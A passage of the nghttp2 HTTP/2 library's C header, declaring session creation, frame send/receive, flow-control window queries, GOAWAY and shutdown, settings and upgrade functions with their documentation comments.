NGHTTP2_EXTERN void nghttp2_option_set_server_fallback_rfc7540_priorities(nghttp2_option *option, int val); /** * @function * * This option, if set to nonzero, turns off RFC 9113 leading and * trailing white spaces validation against HTTP field value. Some * important fields, such as HTTP/2 pseudo header fields, are * validated more strictly and this option does not apply to them. */ NGHTTP2_EXTERN void nghttp2_option_set_no_rfc9113_leading_and_trailing_ws_validation( nghttp2_option *option, int val); /** * @function * * This function sets the rate limit for the incoming stream reset * (RST_STREAM frame). It is server use only. It is a token-bucket * based rate limiter. |burst| specifies the number of tokens that is * initially available. The maximum number of tokens is capped to * this value. |rate| specifies the number of tokens that are * regenerated per second. An incoming RST_STREAM consumes one token. * If there is no token available, GOAWAY is sent to tear down the * connection. |burst| and |rate| default to 1000 and 33 * respectively. */ NGHTTP2_EXTERN void nghttp2_option_set_stream_reset_rate_limit(nghttp2_option *option, uint64_t burst, uint64_t rate); /** * @function * * This function sets the maximum number of CONTINUATION frames * following an incoming HEADER frame. If more than those frames are * received, the remote endpoint is considered to be misbehaving and * session will be closed. The default value is 8. */ NGHTTP2_EXTERN void nghttp2_option_set_max_continuations(nghttp2_option *option, size_t val); /** * @function * * This function sets the rate limit for the "glitches", the * suspicious activities from a remote endpoint. It is a token-bucket * based rate limiter. |burst| specifies the number of tokens that is * initially available. The maximum number of tokens is capped to * this value. |rate| specifies the number of tokens that are * regenerated per second. When a suspicious activity is detected, * some amount of tokens are consumed. If there is no token * available, GOAWAY is sent to tear down the connection. |burst| and * |rate| default to 1000 and 33 respectively. */ NGHTTP2_EXTERN void nghttp2_option_set_glitch_rate_limit(nghttp2_option *option, uint64_t burst, uint64_t rate); /** * @function * * Initializes |*session_ptr| for client use. The all members of * |callbacks| are copied to |*session_ptr|. Therefore |*session_ptr| * does not store |callbacks|. The |user_data| is an arbitrary user * supplied data, which will be passed to the callback functions. * * The :type:`nghttp2_send_callback2` must be specified. If the * application code uses `nghttp2_session_recv()`, the * :type:`nghttp2_recv_callback` must be specified. The other members * of |callbacks| can be ``NULL``. * * If this function fails, |*session_ptr| is left untouched. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_client_new(nghttp2_session **session_ptr, const nghttp2_session_callbacks *callbacks, void *user_data); /** * @function * * Initializes |*session_ptr| for server use. The all members of * |callbacks| are copied to |*session_ptr|. Therefore |*session_ptr| * does not store |callbacks|. The |user_data| is an arbitrary user * supplied data, which will be passed to the callback functions. * * The :type:`nghttp2_send_callback2` must be specified. If the * application code uses `nghttp2_session_recv()`, the * :type:`nghttp2_recv_callback` must be specified. The other members * of |callbacks| can be ``NULL``. * * If this function fails, |*session_ptr| is left untouched. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_server_new(nghttp2_session **session_ptr, const nghttp2_session_callbacks *callbacks, void *user_data); /** * @function * * Like `nghttp2_session_client_new()`, but with additional options * specified in the |option|. * * The |option| can be ``NULL`` and the call is equivalent to * `nghttp2_session_client_new()`. * * This function does not take ownership |option|. The application is * responsible for freeing |option| if it finishes using the object. * * The library code does not refer to |option| after this function * returns. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_client_new2(nghttp2_session **session_ptr, const nghttp2_session_callbacks *callbacks, void *user_data, const nghttp2_option *option); /** * @function * * Like `nghttp2_session_server_new()`, but with additional options * specified in the |option|. * * The |option| can be ``NULL`` and the call is equivalent to * `nghttp2_session_server_new()`. * * This function does not take ownership |option|. The application is * responsible for freeing |option| if it finishes using the object. * * The library code does not refer to |option| after this function * returns. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_server_new2(nghttp2_session **session_ptr, const nghttp2_session_callbacks *callbacks, void *user_data, const nghttp2_option *option); /** * @function * * Like `nghttp2_session_client_new2()`, but with additional custom * memory allocator specified in the |mem|. * * The |mem| can be ``NULL`` and the call is equivalent to * `nghttp2_session_client_new2()`. * * This function does not take ownership |mem|. The application is * responsible for freeing |mem|. * * The library code does not refer to |mem| pointer after this * function returns, so the application can safely free it. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_client_new3( nghttp2_session **session_ptr, const nghttp2_session_callbacks *callbacks, void *user_data, const nghttp2_option *option, nghttp2_mem *mem); /** * @function * * Like `nghttp2_session_server_new2()`, but with additional custom * memory allocator specified in the |mem|. * * The |mem| can be ``NULL`` and the call is equivalent to * `nghttp2_session_server_new2()`. * * This function does not take ownership |mem|. The application is * responsible for freeing |mem|. * * The library code does not refer to |mem| pointer after this * function returns, so the application can safely free it. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_server_new3( nghttp2_session **session_ptr, const nghttp2_session_callbacks *callbacks, void *user_data, const nghttp2_option *option, nghttp2_mem *mem); /** * @function * * Frees any resources allocated for |session|. If |session| is * ``NULL``, this function does nothing. */ NGHTTP2_EXTERN void nghttp2_session_del(nghttp2_session *session); /** * @function * * Sends pending frames to the remote peer. * * This function retrieves the highest prioritized frame from the * outbound queue and sends it to the remote peer. It does this as * many times as possible until the user callback * :type:`nghttp2_send_callback2` returns * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`, the outbound queue * becomes empty or flow control is triggered (remote window size * becomes depleted or maximum number of concurrent streams is * reached). This function calls several callback functions which are * passed when initializing the |session|. Here is the simple time * chart which tells when each callback is invoked: * * 1. Get the next frame to send from outbound queue. * * 2. Prepare transmission of the frame. * * 3. If the control frame cannot be sent because some preconditions * are not met (e.g., request HEADERS cannot be sent after GOAWAY), * :type:`nghttp2_on_frame_not_send_callback` is invoked. Abort * the following steps. * * 4. If the frame is HEADERS, PUSH_PROMISE or DATA, * :type:`nghttp2_select_padding_callback` is invoked. * * 5. If the frame is request HEADERS, the stream is opened here. * * 6. :type:`nghttp2_before_frame_send_callback` is invoked. * * 7. If :enum:`nghttp2_error.NGHTTP2_ERR_CANCEL` is returned from * :type:`nghttp2_before_frame_send_callback`, the current frame * transmission is canceled, and * :type:`nghttp2_on_frame_not_send_callback` is invoked. Abort * the following steps. * * 8. :type:`nghttp2_send_callback2` is invoked one or more times to * send the frame. * * 9. :type:`nghttp2_on_frame_send_callback` is invoked. * * 10. If the transmission of the frame triggers closure of the * stream, the stream is closed and * :type:`nghttp2_on_stream_close_callback` is invoked. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` * The callback function failed. */ NGHTTP2_EXTERN int nghttp2_session_send(nghttp2_session *session); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_session_mem_send2()` instead. * * Returns the serialized data to send. * * This function behaves like `nghttp2_session_send()` except that it * does not use :type:`nghttp2_send_callback` to transmit data. * Instead, it assigns the pointer to the serialized data to the * |*data_ptr| and returns its length. The other callbacks are called * in the same way as they are in `nghttp2_session_send()`. * * If no data is available to send, this function returns 0. * * This function may not return all serialized data in one invocation. * To get all data, call this function repeatedly until it returns 0 * or one of negative error codes. * * The assigned |*data_ptr| is valid until the next call of * `nghttp2_session_mem_send()` or `nghttp2_session_send()`. * * The caller must send all data before sending the next chunk of * data. * * This function returns the length of the data pointed by the * |*data_ptr| if it succeeds, or one of the following negative error * codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * * .. note:: * * This function may produce very small byte string. If that is the * case, and application disables Nagle algorithm (``TCP_NODELAY``), * then writing this small chunk leads to very small packet, and it * is very inefficient. An application should be responsible to * buffer up small chunks of data as necessary to avoid this * situation. */ NGHTTP2_EXTERN ssize_t nghttp2_session_mem_send(nghttp2_session *session, const uint8_t **data_ptr); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Returns the serialized data to send. * * This function behaves like `nghttp2_session_send()` except that it * does not use :type:`nghttp2_send_callback2` to transmit data. * Instead, it assigns the pointer to the serialized data to the * |*data_ptr| and returns its length. The other callbacks are called * in the same way as they are in `nghttp2_session_send()`. * * If no data is available to send, this function returns 0. * * This function may not return all serialized data in one invocation. * To get all data, call this function repeatedly until it returns 0 * or one of negative error codes. * * The assigned |*data_ptr| is valid until the next call of * `nghttp2_session_mem_send2()` or `nghttp2_session_send()`. * * The caller must send all data before sending the next chunk of * data. * * This function returns the length of the data pointed by the * |*data_ptr| if it succeeds, or one of the following negative error * codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * * .. note:: * * This function may produce very small byte string. If that is the * case, and application disables Nagle algorithm (``TCP_NODELAY``), * then writing this small chunk leads to very small packet, and it * is very inefficient. An application should be responsible to * buffer up small chunks of data as necessary to avoid this * situation. */ NGHTTP2_EXTERN nghttp2_ssize nghttp2_session_mem_send2(nghttp2_session *session, const uint8_t **data_ptr); /** * @function * * Receives frames from the remote peer. * * This function receives as many frames as possible until the user * callback :type:`nghttp2_recv_callback` returns * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. This function calls * several callback functions which are passed when initializing the * |session|. Here is the simple time chart which tells when each * callback is invoked: * * 1. :type:`nghttp2_recv_callback` is invoked one or more times to * receive frame header. * * 2. When frame header is received, * :type:`nghttp2_on_begin_frame_callback` is invoked. * * 3. If the frame is DATA frame: * * 1. :type:`nghttp2_recv_callback` is invoked to receive DATA * payload. For each chunk of data, * :type:`nghttp2_on_data_chunk_recv_callback` is invoked. * * 2. If one DATA frame is completely received, * :type:`nghttp2_on_frame_recv_callback` is invoked. If the * reception of the frame triggers the closure of the stream, * :type:`nghttp2_on_stream_close_callback` is invoked. * * 4. If the frame is the control frame: * * 1. :type:`nghttp2_recv_callback` is invoked one or more times to * receive whole frame. * * 2. If the received frame is valid, then following actions are * taken. If the frame is either HEADERS or PUSH_PROMISE, * :type:`nghttp2_on_begin_headers_callback` is invoked. Then * :type:`nghttp2_on_header_callback` is invoked for each header * name/value pair. For invalid header field, * :type:`nghttp2_on_invalid_header_callback` is called. After * all name/value pairs are emitted successfully, * :type:`nghttp2_on_frame_recv_callback` is invoked. For other * frames, :type:`nghttp2_on_frame_recv_callback` is invoked. * If the reception of the frame triggers the closure of the * stream, :type:`nghttp2_on_stream_close_callback` is invoked. * * 3. If the received frame is unpacked but is interpreted as * invalid, :type:`nghttp2_on_invalid_frame_recv_callback` is * invoked. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_EOF` * The remote peer did shutdown on the connection. * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` * The callback function failed. * :enum:`nghttp2_error.NGHTTP2_ERR_BAD_CLIENT_MAGIC` * Invalid client magic was detected. This error only returns * when |session| was configured as server and * `nghttp2_option_set_no_recv_client_magic()` is not used with * nonzero value. * :enum:`nghttp2_error.NGHTTP2_ERR_FLOODED` * Flooding was detected in this HTTP/2 session, and it must be * closed. This is most likely caused by misbehaviour of peer. */ NGHTTP2_EXTERN int nghttp2_session_recv(nghttp2_session *session); #ifndef NGHTTP2_NO_SSIZE_T /** * @function * * .. warning:: * * Deprecated. Use `nghttp2_session_mem_recv2()` instead. * * Processes data |in| as an input from the remote endpoint. The * |inlen| indicates the number of bytes to receive in the |in|. * * This function behaves like `nghttp2_session_recv()` except that it * does not use :type:`nghttp2_recv_callback` to receive data; the * |in| is the only data for the invocation of this function. If all * bytes are processed, this function returns. The other callbacks * are called in the same way as they are in `nghttp2_session_recv()`. * * In the current implementation, this function always tries to * processes |inlen| bytes of input data unless either an error occurs or * :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` is returned from * :type:`nghttp2_on_header_callback` or * :type:`nghttp2_on_data_chunk_recv_callback`. If * :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` is used, the return value * includes the number of bytes which was used to produce the data or * frame for the callback. * * This function returns the number of processed bytes, or one of the * following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` * The callback function failed. * :enum:`nghttp2_error.NGHTTP2_ERR_BAD_CLIENT_MAGIC` * Invalid client magic was detected. This error only returns * when |session| was configured as server and * `nghttp2_option_set_no_recv_client_magic()` is not used with * nonzero value. * :enum:`nghttp2_error.NGHTTP2_ERR_FLOODED` * Flooding was detected in this HTTP/2 session, and it must be * closed. This is most likely caused by misbehaviour of peer. */ NGHTTP2_EXTERN ssize_t nghttp2_session_mem_recv(nghttp2_session *session, const uint8_t *in, size_t inlen); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @function * * Processes data |in| as an input from the remote endpoint. The * |inlen| indicates the number of bytes to receive in the |in|. * * This function behaves like `nghttp2_session_recv()` except that it * does not use :type:`nghttp2_recv_callback` to receive data; the * |in| is the only data for the invocation of this function. If all * bytes are processed, this function returns. The other callbacks * are called in the same way as they are in `nghttp2_session_recv()`. * * In the current implementation, this function always tries to * processes |inlen| bytes of input data unless either an error occurs or * :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` is returned from * :type:`nghttp2_on_header_callback` or * :type:`nghttp2_on_data_chunk_recv_callback`. If * :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` is used, the return value * includes the number of bytes which was used to produce the data or * frame for the callback. * * This function returns the number of processed bytes, or one of the * following negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` * The callback function failed. * :enum:`nghttp2_error.NGHTTP2_ERR_BAD_CLIENT_MAGIC` * Invalid client magic was detected. This error only returns * when |session| was configured as server and * `nghttp2_option_set_no_recv_client_magic()` is not used with * nonzero value. * :enum:`nghttp2_error.NGHTTP2_ERR_FLOODED` * Flooding was detected in this HTTP/2 session, and it must be * closed. This is most likely caused by misbehaviour of peer. */ NGHTTP2_EXTERN nghttp2_ssize nghttp2_session_mem_recv2(nghttp2_session *session, const uint8_t *in, size_t inlen); /** * @function * * Puts back previously deferred DATA frame in the stream |stream_id| * to the outbound queue. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The stream does not exist; or no deferred data exist. * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_resume_data(nghttp2_session *session, int32_t stream_id); /** * @function * * Returns nonzero value if |session| wants to receive data from the * remote peer. * * If both `nghttp2_session_want_read()` and * `nghttp2_session_want_write()` return 0, the application should * drop the connection. */ NGHTTP2_EXTERN int nghttp2_session_want_read(nghttp2_session *session); /** * @function * * Returns nonzero value if |session| wants to send data to the remote * peer. * * If both `nghttp2_session_want_read()` and * `nghttp2_session_want_write()` return 0, the application should * drop the connection. */ NGHTTP2_EXTERN int nghttp2_session_want_write(nghttp2_session *session); /** * @function * * Returns stream_user_data for the stream |stream_id|. The * stream_user_data is provided by `nghttp2_submit_request2()`, * `nghttp2_submit_headers()` or * `nghttp2_session_set_stream_user_data()`. Unless it is set using * `nghttp2_session_set_stream_user_data()`, if the stream is * initiated by the remote endpoint, stream_user_data is always * ``NULL``. If the stream does not exist, this function returns * ``NULL``. */ NGHTTP2_EXTERN void * nghttp2_session_get_stream_user_data(nghttp2_session *session, int32_t stream_id); /** * @function * * Sets the |stream_user_data| to the stream denoted by the * |stream_id|. If a stream user data is already set to the stream, * it is replaced with the |stream_user_data|. It is valid to specify * ``NULL`` in the |stream_user_data|, which nullifies the associated * data pointer. * * It is valid to set the |stream_user_data| to the stream reserved by * PUSH_PROMISE frame. * * This function returns 0 if it succeeds, or one of following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The stream does not exist */ NGHTTP2_EXTERN int nghttp2_session_set_stream_user_data(nghttp2_session *session, int32_t stream_id, void *stream_user_data); /** * @function * * Sets |user_data| to |session|, overwriting the existing user data * specified in `nghttp2_session_client_new()`, or * `nghttp2_session_server_new()`. */ NGHTTP2_EXTERN void nghttp2_session_set_user_data(nghttp2_session *session, void *user_data); /** * @function * * Returns the number of frames in the outbound queue. This does not * include the deferred DATA frames. */ NGHTTP2_EXTERN size_t nghttp2_session_get_outbound_queue_size(nghttp2_session *session); /** * @function * * Returns the number of DATA payload in bytes received without * WINDOW_UPDATE transmission for the stream |stream_id|. The local * (receive) window size can be adjusted by * `nghttp2_submit_window_update()`. This function takes into account * that and returns effective data length. In particular, if the * local window size is reduced by submitting negative * window_size_increment with `nghttp2_submit_window_update()`, this * function returns the number of bytes less than actually received. * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_stream_effective_recv_data_length( nghttp2_session *session, int32_t stream_id); /** * @function * * Returns the local (receive) window size for the stream |stream_id|. * The local window size can be adjusted by * `nghttp2_submit_window_update()`. This function takes into account * that and returns effective window size. * * This function does not take into account the amount of received * data from the remote endpoint. Use * `nghttp2_session_get_stream_local_window_size()` to know the amount * of data the remote endpoint can send without receiving stream level * WINDOW_UPDATE frame. Note that each stream is still subject to the * connection level flow control. * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_stream_effective_local_window_size( nghttp2_session *session, int32_t stream_id); /** * @function * * Returns the amount of flow-controlled payload (e.g., DATA) that the * remote endpoint can send without receiving stream level * WINDOW_UPDATE frame. It is also subject to the connection level * flow control. So the actual amount of data to send is * min(`nghttp2_session_get_stream_local_window_size()`, * `nghttp2_session_get_local_window_size()`). * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_stream_local_window_size( nghttp2_session *session, int32_t stream_id); /** * @function * * Returns the number of DATA payload in bytes received without * WINDOW_UPDATE transmission for a connection. The local (receive) * window size can be adjusted by `nghttp2_submit_window_update()`. * This function takes into account that and returns effective data * length. In particular, if the local window size is reduced by * submitting negative window_size_increment with * `nghttp2_submit_window_update()`, this function returns the number * of bytes less than actually received. * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_effective_recv_data_length(nghttp2_session *session); /** * @function * * Returns the local (receive) window size for a connection. The * local window size can be adjusted by * `nghttp2_submit_window_update()`. This function takes into account * that and returns effective window size. * * This function does not take into account the amount of received * data from the remote endpoint. Use * `nghttp2_session_get_local_window_size()` to know the amount of * data the remote endpoint can send without receiving * connection-level WINDOW_UPDATE frame. Note that each stream is * still subject to the stream level flow control. * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_effective_local_window_size(nghttp2_session *session); /** * @function * * Returns the amount of flow-controlled payload (e.g., DATA) that the * remote endpoint can send without receiving connection level * WINDOW_UPDATE frame. Note that each stream is still subject to the * stream level flow control (see * `nghttp2_session_get_stream_local_window_size()`). * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_local_window_size(nghttp2_session *session); /** * @function * * Returns the remote window size for a given stream |stream_id|. * * This is the amount of flow-controlled payload (e.g., DATA) that the * local endpoint can send without stream level WINDOW_UPDATE. There * is also connection level flow control, so the effective size of * payload that the local endpoint can actually send is * min(`nghttp2_session_get_stream_remote_window_size()`, * `nghttp2_session_get_remote_window_size()`). * * This function returns -1 if it fails. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_stream_remote_window_size( nghttp2_session *session, int32_t stream_id); /** * @function * * Returns the remote window size for a connection. * * This function always succeeds. */ NGHTTP2_EXTERN int32_t nghttp2_session_get_remote_window_size(nghttp2_session *session); /** * @function * * Returns 1 if local peer half closed the given stream |stream_id|. * Returns 0 if it did not. Returns -1 if no such stream exists. */ NGHTTP2_EXTERN int nghttp2_session_get_stream_local_close(nghttp2_session *session, int32_t stream_id); /** * @function * * Returns 1 if remote peer half closed the given stream |stream_id|. * Returns 0 if it did not. Returns -1 if no such stream exists. */ NGHTTP2_EXTERN int nghttp2_session_get_stream_remote_close(nghttp2_session *session, int32_t stream_id); /** * @function * * Returns the current dynamic table size of HPACK inflater, including * the overhead 32 bytes per entry described in RFC 7541. */ NGHTTP2_EXTERN size_t nghttp2_session_get_hd_inflate_dynamic_table_size(nghttp2_session *session); /** * @function * * Returns the current dynamic table size of HPACK deflater including * the overhead 32 bytes per entry described in RFC 7541. */ NGHTTP2_EXTERN size_t nghttp2_session_get_hd_deflate_dynamic_table_size(nghttp2_session *session); /** * @function * * Signals the session so that the connection should be terminated. * * The last stream ID is the minimum value between the stream ID of a * stream for which :type:`nghttp2_on_frame_recv_callback` was called * most recently and the last stream ID we have sent to the peer * previously. * * The |error_code| is the error code of this GOAWAY frame. The * pre-defined error code is one of :enum:`nghttp2_error_code`. * * After the transmission, both `nghttp2_session_want_read()` and * `nghttp2_session_want_write()` return 0. * * This function should be called when the connection should be * terminated after sending GOAWAY. If the remaining streams should * be processed after GOAWAY, use `nghttp2_submit_goaway()` instead. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. */ NGHTTP2_EXTERN int nghttp2_session_terminate_session(nghttp2_session *session, uint32_t error_code); /** * @function * * Signals the session so that the connection should be terminated. * * This function behaves like `nghttp2_session_terminate_session()`, * but the last stream ID can be specified by the application for fine * grained control of stream. The HTTP/2 specification does not allow * last_stream_id to be increased. So the actual value sent as * last_stream_id is the minimum value between the given * |last_stream_id| and the last_stream_id we have previously sent to * the peer. * * The |last_stream_id| is peer's stream ID or 0. So if |session| is * initialized as client, |last_stream_id| must be even or 0. If * |session| is initialized as server, |last_stream_id| must be odd or * 0. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |last_stream_id| is invalid. */ NGHTTP2_EXTERN int nghttp2_session_terminate_session2(nghttp2_session *session, int32_t last_stream_id, uint32_t error_code); /** * @function * * Signals to the client that the server started graceful shutdown * procedure. * * This function is only usable for server. If this function is * called with client side session, this function returns * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE`. * * To gracefully shutdown HTTP/2 session, server should call this * function to send GOAWAY with last_stream_id (1u << 31) - 1. And * after some delay (e.g., 1 RTT), send another GOAWAY with the stream * ID that the server has some processing using * `nghttp2_submit_goaway()`. See also * `nghttp2_session_get_last_proc_stream_id()`. * * Unlike `nghttp2_submit_goaway()`, this function just sends GOAWAY * and does nothing more. This is a mere indication to the client * that session shutdown is imminent. The application should call * `nghttp2_submit_goaway()` with appropriate last_stream_id after * this call. * * If one or more GOAWAY frame have been already sent by either * `nghttp2_submit_goaway()` or `nghttp2_session_terminate_session()`, * this function has no effect. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * The |session| is initialized as client. */ NGHTTP2_EXTERN int nghttp2_submit_shutdown_notice(nghttp2_session *session); /** * @function * * Returns the value of SETTINGS |id| notified by a remote endpoint. * The |id| must be one of values defined in * :enum:`nghttp2_settings_id`. */ NGHTTP2_EXTERN uint32_t nghttp2_session_get_remote_settings( nghttp2_session *session, nghttp2_settings_id id); /** * @function * * Returns the value of SETTINGS |id| of local endpoint acknowledged * by the remote endpoint. The |id| must be one of the values defined * in :enum:`nghttp2_settings_id`. */ NGHTTP2_EXTERN uint32_t nghttp2_session_get_local_settings( nghttp2_session *session, nghttp2_settings_id id); /** * @function * * Tells the |session| that next stream ID is |next_stream_id|. The * |next_stream_id| must be equal or greater than the value returned * by `nghttp2_session_get_next_stream_id()`. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |next_stream_id| is strictly less than the value * `nghttp2_session_get_next_stream_id()` returns; or * |next_stream_id| is invalid (e.g., even integer for client, or * odd integer for server). */ NGHTTP2_EXTERN int nghttp2_session_set_next_stream_id(nghttp2_session *session, int32_t next_stream_id); /** * @function * * Returns the next outgoing stream ID. Notice that return type is * uint32_t. If we run out of stream ID for this session, this * function returns 1 << 31. */ NGHTTP2_EXTERN uint32_t nghttp2_session_get_next_stream_id(nghttp2_session *session); /** * @function * * Tells the |session| that |size| bytes for a stream denoted by * |stream_id| were consumed by application and are ready to * WINDOW_UPDATE. The consumed bytes are counted towards both * connection and stream level WINDOW_UPDATE (see * `nghttp2_session_consume_connection()` and * `nghttp2_session_consume_stream()` to update consumption * independently). This function is intended to be used without * automatic window update (see * `nghttp2_option_set_no_auto_window_update()`). * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * Automatic WINDOW_UPDATE is not disabled. */ NGHTTP2_EXTERN int nghttp2_session_consume(nghttp2_session *session, int32_t stream_id, size_t size); /** * @function * * Like `nghttp2_session_consume()`, but this only tells library that * |size| bytes were consumed only for connection level. Note that * HTTP/2 maintains connection and stream level flow control windows * independently. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * Automatic WINDOW_UPDATE is not disabled. */ NGHTTP2_EXTERN int nghttp2_session_consume_connection(nghttp2_session *session, size_t size); /** * @function * * Like `nghttp2_session_consume()`, but this only tells library that * |size| bytes were consumed only for stream denoted by |stream_id|. * Note that HTTP/2 maintains connection and stream level flow control * windows independently. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |stream_id| is 0. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_STATE` * Automatic WINDOW_UPDATE is not disabled. */ NGHTTP2_EXTERN int nghttp2_session_consume_stream(nghttp2_session *session, int32_t stream_id, size_t size); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function is noop. It always returns 0. */ NGHTTP2_EXTERN int nghttp2_session_change_stream_priority(nghttp2_session *session, int32_t stream_id, const nghttp2_priority_spec *pri_spec); /** * @function * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * This function is noop. It always returns 0. */ NGHTTP2_EXTERN int nghttp2_session_create_idle_stream(nghttp2_session *session, int32_t stream_id, const nghttp2_priority_spec *pri_spec); /** * @function * * .. warning:: * * This function is deprecated in favor of * `nghttp2_session_upgrade2()`, because this function lacks the * parameter to tell the library the request method used in the * original HTTP request. This information is required for client * to validate actual response body length against content-length * header field (see `nghttp2_option_set_no_http_messaging()`). If * HEAD is used in request, the length of response body must be 0 * regardless of value included in content-length header field. * * Performs post-process of HTTP Upgrade request. This function can * be called from both client and server, but the behavior is very * different in each other. * * If called from client side, the |settings_payload| must be the * value sent in ``HTTP2-Settings`` header field and must be decoded * by base64url decoder. The |settings_payloadlen| is the length of * |settings_payload|. The |settings_payload| is unpacked and its * setting values will be submitted using `nghttp2_submit_settings()`. * This means that the client application code does not need to submit * SETTINGS by itself. The stream with stream ID=1 is opened and the * |stream_user_data| is used for its stream_user_data. The opened * stream becomes half-closed (local) state. * * If called from server side, the |settings_payload| must be the * value received in ``HTTP2-Settings`` header field and must be * decoded by base64url decoder. The |settings_payloadlen| is the * length of |settings_payload|. It is treated as if the SETTINGS * frame with that payload is received. Thus, callback functions for * the reception of SETTINGS frame will be invoked. The stream with * stream ID=1 is opened. The |stream_user_data| is ignored. The * opened stream becomes half-closed (remote). * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * :enum:`nghttp2_error.NGHTTP2_ERR_NOMEM` * Out of memory. * :enum:`nghttp2_error.NGHTTP2_ERR_INVALID_ARGUMENT` * The |settings_payload| is badly formed. * :enum:`nghttp2_error.NGHTTP2_ERR_PROTO` * The stream ID 1 is already used or closed; or is not available. */ NGHTTP2_EXTERN int nghttp2_session_upgrade(nghttp2_session *session, const uint8_t *settings_payload, size_t settings_payloadlen, void *stream_user_data); /** * @function * * Performs post-process of HTTP Upgrade request. This function can * be called from both client and server, but the behavior is very * different in each other. * * If called from client side, the |settings_payload| must be the * value sent in ``HTTP2-Settings`` header field and must be decoded * by base64url decoder. The |settings_payloadlen| is the length of * |settings_payload|. The |settings_payload| is unpacked and its * setting values will be submitted using `nghttp2_submit_settings()`. * This means that the client application code does not need to submit * SETTINGS by itself. The stream with stream ID=1 is opened and the * |stream_user_data| is used for its stream_user_data. The opened * stream becomes half-closed (local) state. * * If called from server side, the |settings_payload| must be the * value received in ``HTTP2-Settings`` header field and must be * decoded by base64url decoder. 